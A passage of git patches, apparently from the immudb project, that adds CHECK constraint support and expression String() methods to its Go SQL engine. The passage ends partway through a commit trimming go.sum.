yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} } - case 110: + case 111: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 111: + case 112: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 112: + case 113: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 113: + case 114: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 114: + case 115: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 115: + case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 116: + case 117: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 117: + case 118: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 118: + case 119: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 119: + case 120: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 120: + case 121: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 121: + case 122: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 122: + case 123: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 123: + case 124: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 124: + case 125: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 125: + case 126: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 126: + case 127: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 127: + case 128: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 128: + case 129: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 129: + case 130: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 130: + case 131: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 131: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 132: + case 133: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 133: + case 134: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 134: + case 135: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 135: + case 136: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 136: + case 137: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 137: + case 138: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 138: + case 139: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 139: + case 140: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 140: + case 141: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 141: + case 142: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 142: + case 143: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 143: + case 144: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 144: + case 145: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].sel, descOrder: yyDollar[2].opt_ord}} } - case 145: + case 146: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].sel, descOrder: yyDollar[4].opt_ord}) } - case 146: + case 147: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 147: + case 148: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 148: + case 149: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 149: + case 150: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 150: + case 151: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 151: + case 152: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 152: + case 153: + yyDollar = yyS[yypt-0 : yypt+1] + { + yyVAL.checks = nil + } + case 154: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.checks = append([]CheckConstraint{{exp: yyDollar[2].exp}}, yyDollar[4].checks...) + } + case 155: + yyDollar = yyS[yypt-6 : yypt+1] + { + yyVAL.checks = append([]CheckConstraint{{name: yyDollar[2].id, exp: yyDollar[4].exp}}, yyDollar[6].checks...) + } + case 156: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 153: + case 157: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 154: + case 158: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 155: + case 159: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 156: + case 160: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 157: + case 161: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 158: + case 162: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 159: + case 163: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 160: + case 164: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 161: + case 165: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 162: + case 166: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 163: + case 167: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 164: + case 168: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 165: + case 169: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 166: + case 170: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 167: + case 171: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 168: + case 172: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 169: + case 173: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 170: + case 174: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 171: + case 175: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 172: + case 176: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 173: + case 177: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index de7859cae2..0bc2f7b27c 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -37,6 +37,7 @@ const ( catalogPrefix = "CTL." catalogTablePrefix = "CTL.TABLE." // (key=CTL.TABLE.{1}{tableID}, value={tableNAME}) catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) + catalogCheckPrefix = "CTL.CHECK." // (key=CTL.CHECK.{1}{tableID}{checkID}, value={nameLen}{name}{expText}) catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) RowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) @@ -115,6 +116,24 @@ const ( GE ) +func CmpOperatorToString(op CmpOperator) string { + switch op { + case EQ: + return "=" + case NE: + return "!=" + case LT: + return "<" + case LE: + return "<=" + case GT: + return ">" + case GE: + return ">=" + } + return "" +} + type LogicOperator = int const ( @@ -122,6 +141,13 @@ const ( OR ) +func LogicOperatorToString(op LogicOperator) string { + if op == AND { + return "AND" + } + return "OR" +} + type NumOperator = int const ( @@ -131,6 +157,20 @@ const ( MULTOP ) +func NumOperatorString(op NumOperator) string { + switch op { + case ADDOP: + return "+" + case SUBSOP: + return "-" + case DIVOP: + return "/" + case MULTOP: + return "*" + } + return "" +} + type JoinType = int const ( @@ -335,6 +375,7 @@ type CreateTableStmt struct { table string ifNotExists bool colsSpec []*ColSpec + checks []CheckConstraint pkColNames []string } @@ -346,6 +387,21 @@ func (stmt *CreateTableStmt) inferParameters(ctx context.Context, tx *SQLTx, par return nil } +func zeroRow(tableName string, cols []*ColSpec) *Row { + r := Row{ + ValuesByPosition: make([]TypedValue, len(cols)), + ValuesBySelector: make(map[string]TypedValue, len(cols)), + } + + for i, col := range cols { + v := zeroForType(col.colType) + + r.ValuesByPosition[i] = v + r.ValuesBySelector[EncodeSelector("", tableName, col.colName)] = v + } + return &r +} + func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if stmt.ifNotExists && tx.catalog.ExistTable(stmt.table) { return tx, nil @@ -356,7 +412,33 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s colSpecs[uint32(i)+1] = cs } - table, err := tx.catalog.newTable(stmt.table, colSpecs, uint32(len(colSpecs))) + row := zeroRow(stmt.table, stmt.colsSpec) + for _, check := range stmt.checks { + value, err := check.exp.reduce(tx, row, stmt.table) + if err != nil { + return nil, err + } + + if value.Type() != BooleanType { + return nil, ErrInvalidCheckConstraint + } + } + + nextUnnamedCheck := 0 + checks := make(map[string]CheckConstraint) + for id, check := range stmt.checks { + name := fmt.Sprintf("%s_check%d", stmt.table, nextUnnamedCheck+1) + if check.name != "" { + name = check.name + } else { + nextUnnamedCheck++ + } + check.id = uint32(id) + check.name = name + checks[name] = check + } + + table, err := tx.catalog.newTable(stmt.table, colSpecs, checks, uint32(len(colSpecs))) if err != nil { return nil, err } @@ -380,6 +462,12 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s } } + for _, check := range checks { + if err := persistCheck(tx, table, &check); err != nil { + return nil, err + } + } + mappedKey := MapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(DatabaseID), EncodeID(table.id)) err = tx.set(mappedKey, nil, []byte(table.name)) @@ -420,6 +508,32 @@ func persistColumn(tx *SQLTx, col *Column) error { return tx.set(mappedKey, nil, v) } +func persistCheck(tx *SQLTx, table *Table, check *CheckConstraint) error { + mappedKey := MapKey( + tx.sqlPrefix(), + catalogCheckPrefix, + EncodeID(DatabaseID), + EncodeID(table.id), + EncodeID(check.id), + ) + + name := check.name + expText := check.exp.String() + + val := make([]byte, 2+len(name)+len(expText)) + + if len(name) > 256 { + return fmt.Errorf("constraint name len: %w", ErrMaxLengthExceeded) + } + + val[0] = byte(len(name)) - 1 + + copy(val[1:], []byte(name)) + copy(val[1+len(name):], []byte(expText)) + + return tx.set(mappedKey, nil, val) +} + type ColSpec struct { colName string colType SQLValueType @@ -667,6 +781,11 @@ func (stmt *DropColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return nil, err } + err = canDropColumn(tx, table, col) + if err != nil { + return nil, err + } + err = table.deleteColumn(col) if err != nil { return nil, err @@ -682,6 +801,28 @@ func (stmt *DropColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return tx, nil } +func canDropColumn(tx *SQLTx, table *Table, col *Column) error { + colSpecs := make([]*ColSpec, 0, len(table.Cols())-1) + for _, c := range table.cols { + if c.id != col.id { + colSpecs = append(colSpecs, &ColSpec{colName: c.Name(), colType: c.Type()}) + } + } + + row := zeroRow(table.Name(), colSpecs) + for name, check := range table.checkConstraints { + _, err := check.exp.reduce(tx, row, table.name) + if errors.Is(err, ErrColumnDoesNotExist) { + return fmt.Errorf("%w %s because %s constraint requires it", ErrCannotDropColumn, col.Name(), name) + } + + if err != nil { + return err + } + } + return nil +} + func persistColumnDeletion(ctx context.Context, tx *SQLTx, col *Column) error { mappedKey := MapKey( tx.sqlPrefix(), @@ -695,6 +836,44 @@ func persistColumnDeletion(ctx context.Context, tx *SQLTx, col *Column) error { return tx.delete(ctx, mappedKey) } +type DropConstraintStmt struct { + table string + constraintName string +} + +func (stmt *DropConstraintStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { + table, err := tx.catalog.GetTableByName(stmt.table) + if err != nil { + return nil, err + } + + id, err := table.deleteCheck(stmt.constraintName) + if err != nil { + return nil, err + } + + err = persistCheckDeletion(ctx, tx, table.id, id) + + tx.mutatedCatalog = true + + return tx, err +} + +func persistCheckDeletion(ctx context.Context, tx *SQLTx, tableID uint32, checkId uint32) error { + mappedKey := MapKey( + tx.sqlPrefix(), + catalogCheckPrefix, + EncodeID(DatabaseID), + EncodeID(tableID), + EncodeID(checkId), + ) + return tx.delete(ctx, mappedKey) +} + +func (stmt *DropConstraintStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return nil +} + type UpsertIntoStmt struct { isInsert bool tableRef *tableRef @@ -723,10 +902,11 @@ func NewRowSpec(values []ValueExp) *RowSpec { } } -type OnConflictDo struct { -} +type OnConflictDo struct{} func (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + emptyDescriptors := make(map[string]ColDescriptor) + for _, row := range stmt.rows { if len(stmt.cols) != len(row.Values) { return ErrInvalidNumberOfValues @@ -743,13 +923,12 @@ func (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, para return err } - err = val.requiresType(col.colType, make(map[string]ColDescriptor), params, table.name) + err = val.requiresType(col.colType, emptyDescriptors, params, table.name) if err != nil { return err } } } - return nil } @@ -784,6 +963,11 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return nil, err } + r := &Row{ + ValuesByPosition: make([]TypedValue, len(table.cols)), + ValuesBySelector: make(map[string]TypedValue), + } + for _, row := range stmt.rows { if len(row.Values) != len(stmt.cols) { return nil, ErrInvalidNumberOfValues @@ -857,6 +1041,28 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st valuesByColID[colID] = rval } + for i, col := range table.cols { + v := valuesByColID[col.id] + + if v == nil { + v = NewNull(AnyType) + } else if len(table.checkConstraints) > 0 && col.Type() == JSONType { + s, _ := v.RawValue().(string) + jsonVal, err := NewJsonFromString(s) + if err != nil { + return nil, err + } + v = jsonVal + } + + r.ValuesByPosition[i] = v + r.ValuesBySelector[EncodeSelector("", table.name, col.colName)] = v + } + + if err := checkConstraints(tx, table.checkConstraints, r, table.name); err != nil { + return nil, err + } + pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err @@ -897,6 +1103,24 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return tx, nil } +func checkConstraints(tx *SQLTx, checks map[string]CheckConstraint, row *Row, table string) error { + for _, check := range checks { + val, err := check.exp.reduce(tx, row, table) + if err != nil { + return fmt.Errorf("%w: %s", ErrCheckConstraintViolation, err) + } + + if val.Type() != BooleanType { + return ErrInvalidCheckConstraint + } + + if !val.RawValue().(bool) { + return fmt.Errorf("%w: %s", ErrCheckConstraintViolation, check.exp.String()) + } + } + return nil +} + func (tx *SQLTx) encodeRowValue(valuesByColID map[uint32]TypedValue, table *Table) ([]byte, error) { valbuf := bytes.Buffer{} @@ -1315,6 +1539,17 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string valuesByColID[col.id] = rval } + for i, col := range table.cols { + v := valuesByColID[col.id] + + row.ValuesByPosition[i] = v + row.ValuesBySelector[EncodeSelector("", table.name, col.colName)] = v + } + + if err := checkConstraints(tx, table.checkConstraints, row, table.name); err != nil { + return nil, err + } + pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err @@ -1463,6 +1698,7 @@ type ValueExp interface { reduceSelectors(row *Row, implicitTable string) ValueExp isConstant() bool selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error + String() string } type typedValueRange struct { @@ -1573,7 +1809,6 @@ type TypedValue interface { RawValue() interface{} Compare(val TypedValue) (int, error) IsNull() bool - String() string } type Tuple []TypedValue @@ -1844,7 +2079,7 @@ func (v *Varchar) IsNull() bool { } func (v *Varchar) String() string { - return v.val + return fmt.Sprintf("'%s'", v.val) } func (v *Varchar) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { @@ -2323,6 +2558,14 @@ func (v *FnCall) selectorRanges(table *Table, asTable string, params map[string] return nil } +func (v *FnCall) String() string { + params := make([]string, len(v.params)) + for i, p := range v.params { + params[i] = p.String() + } + return v.fn + "(" + strings.Join(params, ",") + ")" +} + type Cast struct { val ValueExp t SQLValueType @@ -2385,6 +2628,10 @@ func (c *Cast) selectorRanges(table *Table, asTable string, params map[string]in return nil } +func (c *Cast) String() string { + return fmt.Sprintf("CAST (%s AS %s)", c.val.String(), c.t) +} + type Param struct { id string pos int @@ -2478,6 +2725,10 @@ func (v *Param) selectorRanges(table *Table, asTable string, params map[string]i return nil } +func (v *Param) String() string { + return "@" + v.id +} + type Comparison int const ( @@ -3266,6 +3517,10 @@ func (sel *ColSelector) selectorRanges(table *Table, asTable string, params map[ return nil } +func (sel *ColSelector) String() string { + return sel.col +} + type AggColSelector struct { aggFn AggregateFn table string @@ -3373,6 +3628,10 @@ func (sel *AggColSelector) selectorRanges(table *Table, asTable string, params m return nil } +func (sel *AggColSelector) String() string { + return sel.aggFn + "(" + sel.col + ")" +} + type NumExp struct { op NumOperator left, right ValueExp @@ -3522,6 +3781,10 @@ func (bexp *NumExp) selectorRanges(table *Table, asTable string, params map[stri return nil } +func (bexp *NumExp) String() string { + return fmt.Sprintf("(%s %s %s)", bexp.left.String(), NumOperatorString(bexp.op), bexp.right.String()) +} + type NotBoolExp struct { exp ValueExp } @@ -3582,6 +3845,10 @@ func (bexp *NotBoolExp) selectorRanges(table *Table, asTable string, params map[ return nil } +func (bexp *NotBoolExp) String() string { + return "NOT " + bexp.exp.String() +} + type LikeBoolExp struct { val ValueExp notLike bool @@ -3696,6 +3963,10 @@ func (bexp *LikeBoolExp) selectorRanges(table *Table, asTable string, params map return nil } +func (bexp *LikeBoolExp) String() string { + return fmt.Sprintf("(%s LIKE %s)", bexp.val.String(), bexp.pattern.String()) +} + type CmpBoolExp struct { op CmpOperator left, right ValueExp @@ -3862,6 +4133,11 @@ func (bexp *CmpBoolExp) selectorRanges(table *Table, asTable string, params map[ return updateRangeFor(column.id, rval, bexp.op, rangesByColID) } +func (bexp *CmpBoolExp) String() string { + opStr := CmpOperatorToString(bexp.op) + return fmt.Sprintf("(%s %s %s)", bexp.left.String(), opStr, bexp.right.String()) +} + func updateRangeFor(colID uint32, val TypedValue, cmp CmpOperator, rangesByColID map[uint32]*typedValueRange) error { currRange, ranged := rangesByColID[colID] var newRange *typedValueRange @@ -4022,7 +4298,8 @@ func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed return nil, fmt.Errorf("%w (expecting boolean value)", ErrInvalidValue) } - if (bexp.op == OR && bl.val) || (bexp.op == AND && !bl.val) { + // short-circuit evaluation + if (bl.val && bexp.op == OR) || (!bl.val && bexp.op == AND) { return &Bool{val: bl.val}, nil } @@ -4102,16 +4379,20 @@ func (bexp *BinBoolExp) selectorRanges(table *Table, asTable string, params map[ return nil } +func (bexp *BinBoolExp) String() string { + return fmt.Sprintf("(%s %s %s)", bexp.left.String(), LogicOperatorToString(bexp.op), bexp.right.String()) +} + type ExistsBoolExp struct { q DataSource } func (bexp *ExistsBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { - return AnyType, errors.New("not yet supported") + return AnyType, fmt.Errorf("error inferring type in 'EXISTS' clause: %w", ErrNoSupported) } func (bexp *ExistsBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { - return errors.New("not yet supported") + return fmt.Errorf("error inferring type in 'EXISTS' clause: %w", ErrNoSupported) } func (bexp *ExistsBoolExp) substitute(params map[string]interface{}) (ValueExp, error) { @@ -4119,7 +4400,7 @@ func (bexp *ExistsBoolExp) substitute(params map[string]interface{}) (ValueExp, } func (bexp *ExistsBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { - return nil, errors.New("not yet supported") + return nil, fmt.Errorf("'EXISTS' clause: %w", ErrNoSupported) } func (bexp *ExistsBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { @@ -4134,6 +4415,10 @@ func (bexp *ExistsBoolExp) selectorRanges(table *Table, asTable string, params m return nil } +func (bexp *ExistsBoolExp) String() string { + return "" +} + type InSubQueryExp struct { val ValueExp notIn bool @@ -4168,6 +4453,10 @@ func (bexp *InSubQueryExp) selectorRanges(table *Table, asTable string, params m return nil } +func (bexp *InSubQueryExp) String() string { + return "" +} + // TODO: once InSubQueryExp is supported, this struct may become obsolete by creating a ListDataSource struct type InListExp struct { val ValueExp @@ -4276,6 +4565,14 @@ func (bexp *InListExp) selectorRanges(table *Table, asTable string, params map[s return nil } +func (bexp *InListExp) String() string { + values := make([]string, len(bexp.values)) + for i, exp := range bexp.values { + values[i] = exp.String() + } + return fmt.Sprintf("%s IN (%s)", bexp.val.String(), strings.Join(values, ",")) +} + type FnDataSourceStmt struct { fnCall *FnCall as string @@ -4761,6 +5058,21 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str } } + // delete checks + for name := range table.checkConstraints { + key := MapKey( + tx.sqlPrefix(), + catalogCheckPrefix, + EncodeID(DatabaseID), + EncodeID(table.id), + []byte(name), + ) + + if err := tx.delete(ctx, key); err != nil { + return nil, err + } + } + // delete indexes for _, index := range table.indexes { mappedKey := MapKey( diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 24d2b7d2d7..c5def0b943 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -1324,7 +1324,7 @@ func TestTypedValueString(t *testing.T) { require.Equal(t, "10", i.String()) s := &Varchar{val: "test"} - require.Equal(t, "test", s.String()) + require.Equal(t, "'test'", s.String()) b := &Bool{val: true} require.Equal(t, "true", b.String()) diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go index 623911b79f..cdf4669d94 100644 --- a/embedded/sql/type_conversion.go +++ b/embedded/sql/type_conversion.go @@ -20,6 +20,7 @@ import ( "encoding/json" "fmt" "strconv" + "strings" "time" "github.com/google/uuid" @@ -307,7 +308,9 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { return &JSON{val: tv.RawValue()}, nil case VarcharType: var x interface{} - err := json.Unmarshal([]byte(tv.String()), &x) + s := strings.TrimSuffix(strings.TrimPrefix(tv.String(), "'"), "'") + + err := json.Unmarshal([]byte(s), &x) return &JSON{val: x}, err } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index ab1f973197..36f024f4c5 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -343,7 +343,7 @@ func (d *db) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequ return nil, nil, ErrIllegalArguments } - stmts, err := sql.Parse(strings.NewReader(req.Sql)) + stmts, err := sql.ParseSQL(strings.NewReader(req.Sql)) if err != nil { return nil, nil, err } @@ -377,7 +377,7 @@ func (d *db) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRe return nil, ErrIllegalArguments } - stmts, err := sql.Parse(strings.NewReader(req.Sql)) + stmts, err := sql.ParseSQL(strings.NewReader(req.Sql)) if err != nil { return nil, err } diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index 27af31dfb0..1f696f7626 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -105,7 +105,7 @@ func TestSQLExecAndQuery(t *testing.T) { require.Len(t, inferredParams, 1) require.Equal(t, sql.BooleanType, inferredParams["active"]) - stmts, err := sql.ParseString(q) + stmts, err := sql.ParseSQLString(q) require.NoError(t, err) require.Len(t, stmts, 1) diff --git a/pkg/pgsql/server/bmessages/data_row.go b/pkg/pgsql/server/bmessages/data_row.go index 02e4bb1f6f..ceaad30d70 100644 --- a/pkg/pgsql/server/bmessages/data_row.go +++ b/pkg/pgsql/server/bmessages/data_row.go @@ -19,6 +19,7 @@ package bmessages import ( "bytes" "encoding/binary" + "strings" "github.com/codenotary/immudb/embedded/sql" ) @@ -67,7 +68,7 @@ func DataRow(rows []*sql.Row, colNumb int, ResultColumnFormatCodes []int16) []by } case sql.JSONType: { - jsonStr := val.String() + jsonStr := trimQuotes(val.String()) binary.BigEndian.PutUint32(valueLength, uint32(len(jsonStr))) value = []byte(jsonStr) } @@ -120,5 +121,19 @@ func renderValueAsByte(v sql.TypedValue) []byte { if v.IsNull() { return nil } - return []byte(v.String()) + + var s string + switch v.Type() { + case sql.VarcharType: + s, _ = v.RawValue().(string) + case sql.JSONType: + s = trimQuotes(v.String()) + default: + s = v.String() + } + return []byte(s) +} + +func trimQuotes(s string) string { + return strings.TrimSuffix(strings.TrimPrefix(s, "'"), "'") } diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index c716124e7c..e4bd8cbe9b 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -105,7 +105,7 @@ func (s *session) QueryMachine() error { var stmt sql.SQLStmt if !s.isInBlackList(v.Statements) { - stmts, err := sql.Parse(strings.NewReader(v.Statements)) + stmts, err := sql.ParseSQL(strings.NewReader(v.Statements)) if err != nil { waitForSync = extQueryMode s.HandleError(err) @@ -272,7 +272,7 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return err } - stmts, err := sql.Parse(strings.NewReader(statements)) + stmts, err := sql.ParseSQL(strings.NewReader(statements)) if err != nil { return err } From 9cb67cd768609d9b3bd80e51867c5620c6195e8f Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 4 Jul 2024 11:12:19 +0200 Subject: [PATCH 1035/1062] Update go.sum --- go.sum | 1666 -------------------------------------------------------- 1 file changed, 1666 deletions(-) diff --git a/go.sum b/go.sum index 8f19298222..d201d80091 100644 --- a/go.sum +++ b/go.sum @@ -13,752 +13,26 @@ cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKV cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= -cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= -cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= -cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= -cloud.google.com/go 